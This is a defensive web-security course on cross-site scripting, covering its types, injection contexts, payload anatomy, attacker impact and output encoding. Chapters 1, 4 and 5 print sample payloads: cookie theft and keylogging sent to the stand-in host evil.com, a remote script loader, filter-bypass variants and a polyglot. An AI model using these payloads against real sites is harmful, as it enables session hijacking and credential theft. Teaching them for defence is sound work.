XSS — Cross-Site Scripting

A Complete 10-Chapter Security Course

Topics covered:

Data-vs-code & same-origin power · Reflected/Stored/DOM types · Injection contexts

Payload anatomy & impact · Output encoding · HTML sanitization (DOMPurify)

Content Security Policy · Framework auto-escaping & Trusted Types · Testing & checklist

Exercises: 30 hands-on exercises with worked solutions

Format: A4 · Dark-theme code examples · DOMPurify / CSP / DevTools throughout

Table of Contents

CHAPTER 1 OF 10

What XSS Is & Why It Matters

CHAPTER 1

What XSS Is & Why It Matters

Script injection, the same-origin trust betrayed, and why XSS outranks CSRF

Cross-Site Scripting (XSS) is the injection of attacker-controlled *JavaScript* into a page that the victim's browser trusts — so the malicious code runs with the full privileges of that site, in the victim's own session. If you've just come from the CSRF course, this is the bug that kept getting flagged as "defeats every CSRF defence." This chapter explains exactly what XSS is, why it's so powerful, and why it sits near the top of every web-security risk list.

The Core Idea: Untrusted Input Becomes Code

XSS happens when an application takes data from an untrusted source (a URL parameter, a form field, a stored comment) and inserts it into an HTML page *without properly neutralizing it*, so the browser interprets it as **code** rather than **data**. The browser can't tell the difference — to it, a `<script>` the developer wrote and a `<script>` an attacker injected look identical.

```
// a page that greets you by a name taken from the URL
// https://site.com/hello?name=Philip
<h1>Hello, Philip</h1>          // intended

// but the attacker sends:  ?name=<script>steal()</script>
<h1>Hello, <script>steal()</script></h1>   // the script now RUNS
```

The application meant to display the name as *text*; because it didn't encode the input, the browser parsed it as a *script element* and executed it. That single failure — treating input as code — is the root of all XSS.

Why It's So Powerful: It Runs In-Origin

The injected script executes **same-origin** — as if the site itself wrote it. That means it inherits *everything* the legitimate page can do:

- **Read the DOM** — every piece of data on the page, including things the user typed.
- **Read non-HttpOnly cookies** and `localStorage` / `sessionStorage` — session tokens, app state.

- **Make same-origin requests** with the user's session — and *read the responses* (unlike CSRF).
- **Modify the page** — inject fake login forms, deface content, capture keystrokes.
- **Act as the user** — perform any action the user could, invisibly.

> **XSS BETRAYS THE SAME-ORIGIN POLICY FROM THE INSIDE**
>
> The Same-Origin Policy (CSRF course, Chapter 2) is the web's foundational protection: code from one origin can't read another origin's data. XSS doesn't *break* that wall — it gets the attacker's code to run *inside* it. Once the script executes at the target origin, the SOP is working perfectly… on the attacker's behalf. This is why XSS is so severe: it turns the page's own trust into the attack.

XSS vs CSRF — The Capability Gap (Bridging the Last Course)

If you took the CSRF course, this comparison crystallizes why XSS is the more dangerous of the two:

	CSRF	XSS
`What the attacker controls`	can *send* a request from another site	runs *code* on the target page
`Can read the response?`	No (write-only)	Yes — same-origin
`Can steal cookies/tokens?`	No	Yes (non-HttpOnly)
`Can defeat the other's defences?`	No	Yes — reads CSRF tokens, rendering them useless
`Primary defence`	tokens, SameSite cookies	output encoding, CSP, sanitization

> **XSS IS STRICTLY MORE POWERFUL THAN CSRF — FIX IT FIRST**
>
> Everything CSRF can do, XSS can do *and more*, because XSS runs same-origin script while CSRF can only blindly send a request. An XSS payload can read the anti-CSRF token straight out of the page and forge a perfectly valid request — so **no CSRF defence survives an XSS hole** (the recurring warning from the CSRF course). The practical ordering: an application that has XSS cannot be meaningfully protected against anything else until the XSS is closed. XSS is foundational.

A Concrete Impact: Session Hijacking

The classic demonstration is cookie theft. If the session cookie isn't `HttpOnly`, an injected script can exfiltrate it, letting the attacker impersonate the victim entirely:

```
// injected payload sends the victim's cookies to the attacker
<script>
  fetch("https://evil.com/log?c=" + encodeURIComponent(document.cookie));
</script>
```

With the session cookie, the attacker logs in as the victim — no password needed. (Chapter 5 covers the full range of impacts; `HttpOnly` cookies, Chapter 10, blunt *this specific* trick but not XSS in general, since the script can still *act* as the user directly.)

Why XSS Persists

XSS has been a top web vulnerability for two decades. It endures because:

- **Every dynamic page is a candidate** — anywhere user input reaches the page, a missed encoding creates a hole.
- **The defences are context-dependent** — "escaping" means different things in HTML vs an attribute vs JavaScript (Chapter 3), and getting the context wrong reopens it.
- **Modern frameworks help but don't eliminate it** — React/Vue/Angular auto-escape by default, which slashed XSS rates, but their escape hatches (`dangerouslySetInnerHTML`, `v-html`) put it right back (Chapter 9).

> **THE ONE-SENTENCE MENTAL MODEL FOR THE WHOLE COURSE**
>
> Every XSS bug is the same mistake — **untrusted input was treated as code instead of data** — and every XSS defence is a way of forcing input to stay *data* (encode it on output, sanitize it if it must be HTML, or constrain what scripts may run with CSP). Hold that frame and the rest of the course is variations on it.

Hands-On Exercises

EXERCISE 1

In your own words, explain the root cause of XSS in terms of "data vs code." Then take the `?name=` greeting example and explain precisely why `?name=<script>alert(1)</script>` executes, while the developer intended only to display text.

View solution

EXERCISE 2

List five distinct things an injected XSS script can do that a CSRF attack cannot, and for each, state why XSS can do it (same-origin execution) but CSRF cannot (write-only, cross-site). Conclude why XSS is rated more severe.

View solution

EXERCISE 3

Explain why "make the session cookie HttpOnly" reduces XSS impact but does *not* fix XSS. Describe two things an injected script can still do to harm the user even when it cannot read the cookie.

View solution

CHAPTER 1 QUICK REFERENCE

- **XSS** = injecting attacker JavaScript into a trusted page so it runs **same-origin** in the victim's session
- Root cause: **untrusted input treated as code instead of data** (a missed output encoding)
- The browser **can't tell** a developer's `<script>` from an injected one — context decides
- Power comes from **in-origin execution**: read DOM/cookies, make & read same-origin requests, act as the user
- XSS doesn't break the Same-Origin Policy — it runs *inside* it, turning the page's trust into the attack
- **XSS is strictly more powerful than CSRF** — it reads CSRF tokens, defeating those defences; fix XSS first
- Classic impact: **session hijacking** via `document.cookie` theft (blunted but not solved by HttpOnly)
- Persists because every dynamic page is a candidate & defences are **context-dependent**; frameworks help but have escape hatches
- **Next chapter:** the three types — Reflected, Stored, and DOM-based XSS

CHAPTER 2 OF 10

The Three Types: Reflected, Stored, DOM-Based

CHAPTER 2 The Three Types: Reflected, Stored, DOM-Based

How each delivers the payload — and the server-side vs client-side split

All XSS shares the same root cause (Chapter 1: input treated as code), but it's classified by *where the malicious input comes from and how it reaches the page*. The three types — **Reflected**, **Stored**, and **DOM-based** — differ in delivery, persistence, and which part of the stack fails. Knowing the type tells you where to look and how to fix it.

Type 1: Reflected XSS

The payload is included in a **request** (typically a URL parameter), and the server immediately *reflects* it back in the response without encoding. It isn't stored — it only affects whoever makes that specific request, so the attacker must **deliver the crafted URL** to the victim (a link in an email, a message, a malicious ad).

```
// server reflects the search term straight into the page
// https://site.com/search?q=shoes  ->  "You searched for: shoes"
res.send(`<p>You searched for: ${req.query.q}</p>`);  // unescaped!

// attacker sends victim this link:
// https://site.com/search?q=<script>steal()</script>
```

When the victim clicks the link, the server echoes the script into the response and the victim's browser runs it. Reflected XSS is the most common type and requires the victim to interact with an attacker-supplied request.

Type 2: Stored XSS

The payload is **saved on the server** (in a database, comment, profile field, log) and later served to *every* user who views the affected page — no special link required. This makes it the **most dangerous** type: one injection can hit thousands of victims automatically.

```
// attacker submits a comment containing a script
comment = "<script>steal()</script>";  // saved to the DB

// later, the comments page renders every comment unescaped:
comments.forEach(c => html += `<li>${c.text}</li>`);  // runs for every viewer
```

Every visitor to the comments page executes the attacker's script in their own session, with no action beyond visiting a normal page. Stored XSS on a high-traffic page is how **XSS worms** spread (Chapter 5).

Type 3: DOM-Based XSS

The vulnerability is **entirely client-side**: the page's *own JavaScript* takes attacker-controllable input (from the URL, `location.hash`, etc.) and writes it into the page through a dangerous "sink" — *the malicious data never needs to touch the server.*

```
// the page's own JS reads the URL fragment and injects it
const name = location.hash.slice(1);
document.getElementById("greet").innerHTML = name;  // dangerous sink

// https://site.com/#<img src=x onerror=steal()>  -> runs, server never sees it
```

DOM-BASED XSS CAN BE INVISIBLE TO THE SERVER — AND TO SERVER-SIDE DEFENCES

Because the payload flows from a client-side *source* (like `location.hash`, which browsers don't even send to the server) to a client-side *sink* (`innerHTML`, `eval`, `document.write`), the malicious data may **never reach the backend**. That means server-side output encoding — the primary defence for reflected/stored — does *nothing* here. DOM XSS must be fixed in the client JavaScript itself (safe sinks like `textContent`, Chapter 5). It's also harder to spot in testing, since server logs show nothing unusual.

The Key Split: Server-Side vs Client-Side

	REFLECTED	STORED	DOM-BASED
Payload source	the request (URL/form)	server storage (DB)	client-side (URL/hash/etc.)
Where the flaw is	server reflects unescaped	server stores & serves unescaped	client JS writes to a sink
Persistent?	No — per request	Yes — affects all viewers	No — per request
Needs victim to click a link?	Yes	No — just view the page	Usually yes (crafted URL)

	REFLECTED	STORED	DOM-BASED
`Reaches the server?`	Yes	Yes	Often No
`Fixed by server-side encoding?`	Yes	Yes	No — fix the client JS

TWO QUESTIONS CLASSIFY ANY XSS INSTANTLY

(1) Is the payload stored and served to others, or reflected from the immediate request? Stored → Stored XSS; reflected → Reflected or DOM. **(2) Does the injection happen in server-rendered HTML, or in client-side JavaScript writing to the DOM?** Server → Reflected/Stored; client-only → DOM-based. Reflected and DOM-based can look similar (both per-request, often via URL) — the distinguishing question is *who does the unsafe insertion*: the server (reflected) or the page's own JS (DOM).

Severity, Roughly

- **Stored** — generally highest: persistent, hits all viewers automatically, no per-victim delivery, can self-propagate (worms).
- **Reflected** — common and serious, but needs the victim to follow an attacker's link, limiting reach per attack.
- **DOM-based** — severity varies, but dangerous because it bypasses server-side defences and is easy to miss; can be reflected-like or stored-like depending on the source.

These are tendencies, not rules — a reflected XSS on a bank's login page can be more damaging than a stored XSS in an obscure admin note. The next three chapters take each path deeper, starting with the injection *contexts* that determine how a payload must be shaped.

Hands-On Exercises

EXERCISE 1

For each scenario, classify the XSS type and justify it: (a) a script in a `?q=` URL parameter echoed into search results; (b) a script saved as a product review and shown to all shoppers; (c) the page's JS reading `location.hash` into `innerHTML`. State for each whether the payload reaches the server.

View solution

EXERCISE 2

Explain why server-side output encoding fixes reflected and stored XSS but does nothing for DOM-based XSS. Identify what part of the stack must change to fix a DOM-based bug, and why it can be invisible in server logs.

View solution

EXERCISE 3

Argue why stored XSS is usually rated more severe than reflected XSS, covering persistence, victim reach, and delivery requirements. Then give one realistic case where a reflected XSS would be *more* damaging than a particular stored XSS.

View solution

CHAPTER 2 QUICK REFERENCE

- **Reflected** — payload in the request, echoed back unescaped by the server; not stored; needs the victim to click an attacker's link
- **Stored** — payload saved server-side, served to *every* viewer; most dangerous; can self-propagate (worms)
- **DOM-based** — client-side JS reads attacker input (URL/hash) into a dangerous sink; *often never reaches the server*
- **Server-side encoding** fixes reflected & stored, but **does nothing for DOM-based** — fix the client JS (safe sinks)
- Classify with two questions: **stored vs reflected?** and **server-rendered vs client-JS insertion?**
- Reflected vs DOM look similar (per-request, URL-driven) — distinguish by *who inserts unsafely*: server vs page's own JS
- Severity (rough): **Stored ≥ Reflected ≥/≈ DOM**, but context can flip it
- **Next chapter:** injection contexts — HTML, attribute, JS, URL, CSS — and why each needs different handling

CHAPTER 3 OF 10

Injection Contexts

CHAPTER 3

Injection Contexts

HTML, attribute, JavaScript, URL, and CSS — why each needs different handling

The same input can be harmless in one place and a script-execution hole in another. Where untrusted data *lands* in the page — its **context** — determines which characters are dangerous and therefore how it must be encoded. This is the most important technical idea in XSS defence: **encoding is context-dependent**, and getting the context wrong reopens the hole even when you "escaped" the input.

The Five Contexts

A browser parses a page through several sub-grammars, and untrusted data can be injected into any of them. Each has different "breakout" characters:

CONTEXT	EXAMPLE POSITION	DANGEROUS CHARACTERS
HTML body	HERE	`< > &`
HTML attribute	<input value="HERE">	`" '` (quote breakout) + `< >`
JavaScript	<script>var x="HERE"</script>	`" ' \` newlines, `</script>`
URL	<a href="HERE">	`javascript:` scheme, `" '`
CSS	<style>… HERE …</style>	`" ' ( )`, `expression()`, `url()`

Context 1: HTML Body

Data between tags. The breakout is simply introducing a new tag — the canonical XSS. Encoding `< > &` to entities neutralizes it (Chapter 1's example).

```
<div> ...user data... </div>
<script>alert(1)</script>          // injected tag runs
&lt;script&gt;alert(1)&lt;/script&gt;   // encoded -> shown as text
```

Context 2: HTML Attribute

Data inside an attribute value. The attacker doesn't need a new tag — they just **break out of the quotes** and add an event-handler attribute:

```
<input value="HERE">
// payload:  "><script>alert(1)</script>   OR   " onmouseover="alert(1)
<input value="" onmouseover="alert(1)">  // event handler fires
```

UNQUOTED ATTRIBUTES ARE FAR MORE DANGEROUS — ALWAYS QUOTE

If an attribute value isn't wrapped in quotes (`<input value=HERE>`), the attacker doesn't even need a quote character to break out — a single **space** ends the value and lets them add `onmouseover=alert(1)` . Unquoted attributes massively expand the dangerous-character set and are a frequent source of XSS. Rule: *always quote attribute values*, and HTML-attribute-encode the data inside (including quotes). Event-handler attributes (`onclick` , `onerror` , …) and certain attributes (`href` , `src` , `style`) are especially risky landing spots.

Context 3: Inside JavaScript

Data placed into a script block (e.g. a server templating a value into JS). This is the most dangerous context — the attacker is *already in a script* and only needs to break the string literal:

```
<script> var name = "HERE"; </script>
// payload:  ";  steal();  //
var name = ""; steal(); //";   // breaks the string, runs code
```

DON'T PUT UNTRUSTED DATA INTO A JS CONTEXT — AND HTML-ENCODING WON'T SAVE YOU

Inside JavaScript, HTML entity encoding does **not** protect you: the JS parser doesn't decode `&quot;` , and there are many breakout vectors (quotes, backslashes, `</script>` which closes the block from *inside* a string, newlines, Unicode separators). The robust answer is: *don't template untrusted data directly into JavaScript*. Instead, put it in the DOM as data (e.g. a `data-` attribute or `JSON.parse` of a properly JSON-and-HTML-encoded value) and read it from JS. If you must inline it, use a strict JavaScript-string encoder (e.g. `\xHH` hex escaping) — but avoiding the context is the real fix.

Context 4: URL

Data used as a URL, typically in `href` or `src` . Even with quotes intact, the attacker can supply a **dangerous scheme**:

```
<a href="HERE">click</a>
// payload:  javascript:alert(document.cookie)
<a href="javascript:alert(document.cookie)">  // runs on click
```

Attribute-encoding the quotes isn't enough here — `javascript:` contains no special HTML characters. The fix is to **validate the scheme**: allow only `http:`, `https:`, `mailto:` (an allowlist), and reject `javascript:`, `data:`, `vbscript:`. Then URL-encode the data.

Context 5: CSS

Data placed into a stylesheet or `style` attribute. Historically `expression()` (old IE) ran JS; today the main risks are `url()` exfiltration, breaking out of the CSS context into HTML, and UI-redress tricks. Untrusted data in CSS should generally be avoided or strictly allowlisted (e.g. a fixed set of colour names), never freely templated.

The Central Lesson: Match the Encoder to the Context

"ESCAPING" IS NOT ONE THING — IT'S FIVE

The most common XSS mistake among developers who *think* they're safe is applying **HTML encoding everywhere**. HTML-encoding data that lands in a JavaScript context, or a URL scheme, or an unquoted attribute, does *not* stop the attack — each context decodes differently. The correct discipline (Chapter 6) is to encode for the *specific context the data lands in*: HTML-entity-encode for HTML body, attribute-encode (with quotes) for attributes, JavaScript-string-encode (or avoid) for JS, scheme-validate + URL-encode for URLs, and avoid/allowlist for CSS. One input rendered in three places may need three different encodings.

A practical corollary: **nested contexts compound**. A value inside an `onclick` handler is in a JS context *inside* an HTML-attribute context inside HTML — it needs JS encoding then attribute encoding. These multi-layer cases are exactly why "just use the framework's auto-escaping" (Chapter 9) is the safer real-world advice than hand-encoding.

Hands-On Exercises

EXERCISE 1

For each injection point, write a payload that would execute and name the breakout: (a) `<div>HERE</div>`; (b) `<input value="HERE">`; (c) `<input value=HERE>` (unquoted); (d) `<a href="HERE">`. State which dangerous character/scheme each relies on.

View solution

EXERCISE 2

Explain why HTML entity encoding fails to protect a value placed inside a `<script>` block, giving a concrete breakout. Then state the recommended approach (don't template into JS; pass via a data attribute / JSON) and why it's safer.

View solution

EXERCISE 3

A developer HTML-encodes one username value and reuses it in three places: HTML body, an `href`, and an `onclick` handler. Identify which placements are still vulnerable despite the HTML encoding, and give the correct encoding/validation for each context.

View solution

CHAPTER 3 QUICK REFERENCE

- **Context** = where untrusted data lands; it decides the dangerous characters and the required encoding
- **HTML body** — danger `< > &`; fix: HTML-entity encode
- **HTML attribute** — danger quotes (breakout) + `< >`; fix: **quote the value** + attribute-encode
- **Unquoted attribute** — a space breaks out; far more dangerous — always quote
- **JavaScript** — danger quotes, `\`, `</script>`; HTML-encoding doesn't help; *don't template into JS* — use data attrs/JSON
- **URL** — danger `javascript:`/`data:` schemes; fix: **scheme allowlist** (http/https/mailto) + URL-encode
- **CSS** — avoid/allowlist untrusted data; `url()` & legacy `expression()` risks
- Core lesson: **match the encoder to the context** — HTML-encoding everywhere is the classic false-safety mistake; **nested contexts compound**
- **Next chapter:** anatomy of a payload — breakouts, event handlers, bypasses, and polyglots (defensive framing)

CHAPTER 4 OF 10

Anatomy of a Payload

CHAPTER 4

Anatomy of a Payload

Breakouts, event handlers, filter bypasses, and polyglots — and why blocklists fail

DEFENSIVE FRAMING — WHY WE STUDY PAYLOADS

This chapter dissects attack payloads so you can *recognize* them, write effective tests against *your own* apps, and — most importantly — understand **why filtering/blocklisting them is a losing game**. The payload variety here is the argument for the *positive* defences (encoding, sanitization, CSP) in Chapters 6–8. Practise only on apps you own or authorized labs (PortSwigger Web Security Academy, OWASP Juice Shop, DVWA).

A Payload Has Two Jobs

Every XSS payload does two things: **(1) break out** of the data context into a code context (Chapter 3), and **(2) execute** the attacker's JavaScript. The famous `alert(1)` is just a harmless stand-in for job 2 used to *prove* execution — the real interest is job 1, the breakout, because that's what the application's encoding is supposed to prevent.

You Don't Need <script> — Event Handlers

A common misconception is that XSS requires a `<script>` tag. In reality, **any element with an event handler** can run code, and these often survive naive filters that only strip `<script>`:

```
<img src=x onerror=alert(1)>        // broken image -> onerror fires
<svg onload=alert(1)>               // fires on load, no broken-resource needed
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>  // auto-focuses then fires
<details open ontoggle=alert(1)>
```

The `<img onerror>` and `<svg onload>` vectors are the workhorses precisely because they need no script tag and fire automatically. There are dozens of HTML elements with auto-firing event handlers — which is the first hint that "block the dangerous tags" is unwinnable.

Why Blocklists Fail: The Bypass Zoo

Developers often try to filter XSS by removing "bad" strings like `<script>` or `javascript:`. Attackers have an enormous repertoire of equivalent encodings the browser still executes:

BYPASS TECHNIQUE	EXAMPLE	BEATS THE FILTER…
Case variation	`<ScRiPt>`, `JaVaScRiPt:`	case-sensitive blocklist
Broken-up keyword	`<scr<script>ipt>` (filter removes inner)	naive single-pass strip
HTML entities	`&#106;avascript:` (j)	literal-string matching
Whitespace/control chars	`java\tscript:`, newlines in attrs	exact `javascript:` match
No-script vectors	`<img onerror>`, `<svg onload>`	"<script>"-only filters
Alternate execution	`onerror=eval(atob('...'))`	keyword filters on `alert` etc.

> **BLOCKLIST FILTERING IS THE WRONG DEFENCE — IT LOSES BY CONSTRUCTION**
>
> Every blocklist is a bet that you've enumerated every dangerous pattern — and the browser's parsing tolerance (case-insensitivity, entity decoding, whitespace handling, hundreds of tags/handlers, multiple encodings) gives attackers effectively infinite variants. The history of "XSS filters" (including browsers' own, now removed) is a graveyard of bypasses. **Never defend XSS by trying to detect/strip bad input.** Use the positive model: define what's *allowed* (encode everything as data by default; if HTML is needed, an allowlist sanitizer — Chapter 7) and the variants become irrelevant because nothing is interpreted as code in the first place.

Polyglots: One Payload, Many Contexts

A **polyglot** is a single payload crafted to execute across *multiple* injection contexts at once — useful to attackers probing an unknown injection point, and to testers wanting one string that fires whether it lands in HTML, an attribute, or JS. They look cryptic because they're engineered to be syntactically valid in several grammars simultaneously:

```
// a classic probing polyglot (shape, not for blind use):
javascript:/*--></title></style></script><svg onload=alert(1)>
```

It closes several possible enclosing contexts (`</title>`, `</style>`, `</script>`) and then injects an auto-firing element — so whichever context it landed in, one of the escapes works. For testing, a polyglot is a quick "is this injectable at all?" probe; for defenders, it's a vivid demonstration of why context-correct encoding (not pattern-matching) is the only reliable answer.

Beyond alert(1): What Real Payloads Do

`alert(1)` proves execution; real payloads (Chapter 5) replace it with meaningful actions, often loaded from a remote script to keep the injected string small:

```
// small injected stub pulls a larger script from the attacker
<script src=//evil.com/x.js></script>

// or an inline one-liner that exfiltrates data
<img src=x onerror="fetch('//evil.com/?c='+document.cookie)">
```

FOR TESTING, PREFER A BENIGN, UNIQUE MARKER OVER ALERT()

When testing your own app, `alert()` can be blocked by pop-up settings and is noisy. A cleaner proof of execution is something observable and unique, e.g. `console.log('XSS-test-7421')`, or causing a request to a URL you control (`new Image().src='https://your-collector/'+document.domain`) so you can confirm *where* it fired. Automated scanners (Burp, OWASP ZAP, Dalfox) use exactly this approach — inject a unique marker and detect it in the response/DOM.

Hands-On Exercises

EXERCISE 1

Without using a `<script>` tag, give three payloads that execute JavaScript, and explain the auto-firing mechanism of each (e.g. `onerror`, `onload`, `onfocus`). State why this defeats a filter that only strips `<script>`.

View solution

EXERCISE 2

A filter removes the literal string `<script>` (case-sensitive, single pass) and the string `javascript:`. Give a bypass for each and name the technique. Then explain why this proves blocklist filtering is the wrong defence model.

View solution

EXERCISE 3

Explain what a polyglot payload is and why an attacker probing an unknown injection point would use one. Then explain why context-aware output encoding defeats *all* these payload variants while a blocklist defeats none of them reliably.

View solution

CHAPTER 4 QUICK REFERENCE

- A payload does two jobs: **break out** of the data context + **execute** code; `alert(1)` just proves execution
- **No** `<script>` **needed** — `<img onerror>`, `<svg onload>`, `onfocus`, `ontoggle` auto-fire
- **Blocklists fail**: case variation, broken-up keywords, HTML entities, whitespace, no-script vectors, alternate execution — effectively infinite variants
- Never defend by detecting/stripping "bad" input — use the **positive model** (encode by default; allowlist sanitize if HTML needed)
- **Polyglot** — one payload valid in many contexts at once; a probe for unknown injection points
- Real payloads replace `alert` with `<script src=//evil>` or inline exfiltration (Chapter 5)
- For testing: use a unique benign marker (`console.log` / a request to your collector), not noisy `alert()`
- **Next chapter:** what an attacker achieves — cookie theft, keylogging, session riding, and XSS worms

CHAPTER 5 OF 10

What an Attacker Achieves

CHAPTER 5

What an Attacker Achieves

Cookie/session theft, keylogging, request-riding, and XSS worms

Chapters 1–4 covered the mechanism; this one covers the *impact* — what an attacker actually does once their script runs same-origin. Understanding the breadth of damage is what justifies treating XSS as a critical bug rather than a cosmetic one. Every capability below follows from a single fact: **the script has the full power of the page, in the victim's authenticated session.**

1. Session/Cookie Theft

The classic impact: exfiltrate the session cookie so the attacker can impersonate the victim from their own machine — no password needed.

```
<script>fetch("//evil.com/c?" + document.cookie)</script>
```

`HttpOnly` cookies (Chapter 10) defeat *this specific* read — but as Chapter 1 noted, the script can still *act* within the session directly, so cookie theft is just the most convenient option, not the only one.

2. Session Riding (Acting As the User)

Rather than steal the cookie, the script makes authenticated requests *from the victim's own browser*, where the session cookie is attached automatically — and, being same-origin, it can read the responses too. This works even against `HttpOnly`:

```
// change the victim's email, then read the result — all in-session
await fetch("/account/email", {
  method: "POST", headers: { "X-CSRF-Token": readToken() },  // reads the CSRF token from the page!
  body: "email=attacker@evil.com",
});
```

THIS IS WHY XSS DEFEATS CSRF DEFENCES (THE CSRF-COURSE CALLBACK)

> Notice the payload reads the anti-CSRF token straight out of the page and includes it — so the synchronizer-token defence (CSRF course, Chapter 5) is bypassed entirely. Same-origin script can read any token the page holds, set custom headers, and read responses. This is the concrete mechanism behind the rule "**XSS is strictly more powerful than CSRF; fix XSS first**." An attacker with XSS doesn't need CSRF at all — they have something better.

3. Credential Harvesting & Keylogging

Because the script controls the DOM, it can capture input directly or rewrite the page into a phishing trap that the user trusts (it's the real domain, real URL, valid certificate):

```
// keylogger: capture everything typed and exfiltrate it
document.addEventListener("keydown", e =>
  fetch("//evil.com/k?" + e.key));

// or inject a fake "session expired, please re-login" form that posts to evil.com
```

4. Data Theft

Same-origin reads mean the script can pull any data the user can see and exfiltrate it: page contents, personal info, messages, API responses, and non-HttpOnly tokens in `localStorage` (a reason bearer tokens in `localStorage` are risky, Chapter 9 / CSRF course Chapter 9).

CAPABILITY	HOW	DEFEATED BY HTTPONLY?
Steal session cookie	`document.cookie`	Yes (that read)
Act as the user	same-origin `fetch` (cookie auto-attached)	No
Read CSRF token / forge requests	read token from DOM	No
Keylog / fake forms	DOM event listeners / injection	No
Steal localStorage tokens	`localStorage.getItem`	No (HttpOnly is cookies only)

Only one row is mitigated by HttpOnly — underscoring that HttpOnly is a useful layer but nowhere near a fix.

5. XSS Worms — Self-Propagation

The most dramatic impact: a **stored** XSS on a social platform can carry a payload that *replicates itself*. When a victim views the infected content, the script runs and uses session riding to post the same payload to the victim's own profile/content — which then infects everyone who views *them*, spreading exponentially.

THE SAMY WORM — XSS AT INTERNET SCALE (2005)

The canonical example is **Samy**, a stored-XSS worm on MySpace. The payload, planted in a profile, added the attacker as a friend and copied itself onto each viewer's profile, with the tagline "but most of all, samy is my hero." It infected **over one million** profiles in about 20 hours — at the time, one of the fastest-spreading malware in history — forcing MySpace offline to clean up. It used stored XSS + session riding to self-replicate. The lesson: a single stored-XSS hole on a high-traffic page isn't one compromise, it's a potential epidemic. (Samy Kamkar, the author, later became a well-known security researcher; the worm was non-destructive but led to a felony charge.)

6. Beyond the Page: BeEF-Style Control

Frameworks like **BeEF** (Browser Exploitation Framework) demonstrate XSS as a persistent *foothold*: the injected script "hooks" the browser and opens a control channel, letting an attacker pivot — fingerprint the browser, launch further attacks against the internal network the victim can reach, drive social-engineering popups, and maintain control as long as the page stays open. XSS becomes a beachhead, not just a one-shot.

THE TAKEAWAY: "IT'S JUST AN ALERT BOX" IS A DANGEROUS MISREAD

Demonstrations use `alert(1)` because it's harmless and unambiguous — but the gap between `alert(1)` and `fetch('//evil.com/?'+document.cookie)` is just the payload string; the *capability* is identical. Any XSS proof-of-concept that pops an alert could equally steal sessions, harvest credentials, ride the session past CSRF defences, or seed a worm. Treat every confirmed XSS as full compromise of that page in the victim's session, and prioritize accordingly.

Hands-On Exercises

EXERCISE 1

Explain the difference between "cookie theft" and "session riding" as XSS impacts. Show why session riding still works when the session cookie is `HttpOnly`, and why it lets the attacker bypass anti-CSRF tokens.

View solution

EXERCISE 2

Describe how a stored XSS becomes a self-propagating worm, using the Samy worm as the model. Identify the two ingredients required (stored XSS + session riding) and why a reflected XSS generally cannot self-propagate the same way.

View solution

EXERCISE 3

A manager says "the pentest only found an XSS that pops an alert box — low priority." Write a rebuttal listing five concrete things that same injection point could do instead, and explain why the alert and a session-stealer differ only by payload, not capability.

View solution

CHAPTER 5 QUICK REFERENCE

- **Cookie theft** — `document.cookie` exfiltration → impersonate the victim (blocked for that read by HttpOnly)
- **Session riding** — make authenticated same-origin requests from the victim's browser & read responses; works *despite* HttpOnly
- Session riding **reads the CSRF token from the page** → bypasses anti-CSRF defences (why XSS > CSRF, fix XSS first)
- **Keylogging / fake forms** — capture credentials directly via DOM control on the real, trusted origin
- **Data theft** — read any visible data + `localStorage` tokens (HttpOnly is cookies only)
- **XSS worms** — stored XSS + session riding = self-replication; **Samy** hit 1M+ MySpace profiles in ~20h (2005)
- **BeEF-style** — XSS as a persistent foothold to pivot, fingerprint, and attack the internal network
- `alert(1)` and a full session-stealer differ **only by payload string** — treat every XSS as full page compromise
- **Next chapter:** the primary defence — context-aware output encoding

CHAPTER 6 OF 10

Output Encoding — The Primary Defence

CHAPTER 6

Output Encoding — The Primary Defence

Context-aware escaping, encode-on-output discipline, and why it's the foundation

Now the defences — and the first one is the most important. **Output encoding** (also called output escaping) is the primary, foundational defence against XSS: transform untrusted data, at the moment it's written into a page, so the browser treats it as inert *data* rather than executable *code*. Get this right and the vast majority of XSS simply cannot occur, because nothing attacker-supplied is ever interpreted.

The Principle: Encode on Output, for the Context

Two words carry the whole chapter. **"On output"**: encode at the point data is inserted into the page, not when it's received. **"For the context"**: use the encoder matching where the data lands (Chapter 3 — HTML, attribute, JS, URL, CSS). Encoding converts the characters that would *break out* of the current context into safe equivalents the browser displays literally.

```
// the same value, HTML-body-encoded on output
input:   <script>alert(1)</script>
output:  &lt;script&gt;alert(1)&lt;/script&gt;   // browser shows it as text, runs nothing
```

WHY "ON OUTPUT," NOT "ON INPUT"? ENCODE LATE, STORE RAW

A tempting alternative is to encode/clean data as it *arrives* and store the encoded form. This is inferior for several reasons: **(1)** you don't yet know the output *context* at input time — the same value may later appear in HTML, an attribute, a URL, and JSON, each needing different encoding; **(2)** encoded data in the database corrupts non-HTML uses (emails, APIs, PDFs, length checks) and causes double-encoding bugs (`&lt;`); **(3)** it conflates storage with presentation. Best practice: *store the raw, original input; encode at each output site for that site's context.* Input validation still has a role (Chapter 7) but it is not the XSS defence — output encoding is.

The Five Encoders

CONTEXT	ENCODE	EXAMPLE TRANSFORM
HTML body	HTML entity encode	`< > &` → `< > &`

CONTEXT	ENCODE	EXAMPLE TRANSFORM
`HTML attribute (quoted)`	attribute encode	also `" '` → `&quot; &#39;`
`JavaScript string`	JS string encode	`"` → `\x22`, `/` → `\/`, hex-escape
`URL (parameter)`	URL encode + scheme allowlist	`encodeURIComponent`; reject `javascript:`
`CSS value`	CSS encode / allowlist	avoid; restrict to known-safe values

The non-negotiable rule from Chapter 3 holds: **the encoder must match the context**. HTML-encoding a value that lands in a JavaScript string or a URL scheme does not protect it.

In Practice: Don't Hand-Roll It

You rarely write these encoders yourself — and shouldn't. Use established, context-aware tools:

- **Template engines** auto-encode by default — Handlebars `{{value}}`, EJS `<%= value %>`, Jinja/Twig, Razor. The *raw* forms (`{{{value}}}`, `<%- %>`) bypass it — those are the danger spots to audit.
- **Frameworks** auto-encode interpolated values — React `{value}`, Vue `{{ }}`, Angular — covered in Chapter 9.
- **Libraries** for manual cases — OWASP Java Encoder, the `he` library (Node), Python's `markupsafe`.

```
// Node example: HTML-encode for an HTML-body context
const he = require("he");
res.send(`<p>Hello, ${he.encode(req.query.name)}</p>`);  // safe
```

Encoding vs Sanitization — Not the Same Thing

A crucial distinction that the next chapter expands: **encoding** makes data display *literally* (good when the value should be shown as text — a username, a comment, a search term). **Sanitization** (Chapter 7) *removes* dangerous parts while keeping *some* markup functional (needed when the value is meant to *be* HTML — a rich-text comment). Use encoding by default; reach for sanitization only when you genuinely must render user-provided HTML.

